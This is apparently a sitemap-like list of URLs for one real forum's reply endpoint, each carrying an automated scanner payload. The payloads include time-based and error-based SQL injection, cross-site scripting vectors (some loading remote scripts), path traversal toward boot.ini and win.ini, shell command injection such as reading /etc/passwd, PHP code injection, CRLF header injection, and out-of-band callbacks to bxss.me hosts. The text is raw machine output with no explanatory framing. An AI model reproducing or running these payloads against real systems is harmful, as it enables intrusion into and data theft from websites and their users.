http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes';%20IF(29=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes';%20IF(99=99)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes);%20IF(69=69)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes);%20IF(83=24)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yesJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yesalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yese360 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=(SELECT%20(CASE%20WHEN%20(48=38)%20THEN%200x796573%20ELSE%2048*(SELECT%2048%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=dir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes 0.0014 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%00' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25%27%29%20AND%2049%3D49%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25%27%29%20AND%2091%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%2086=74%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%2088=88%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(55=47)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%2527 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%2527%20AND%2038=38%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%2527%20AND%2068=73%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%5C%22 0.0001 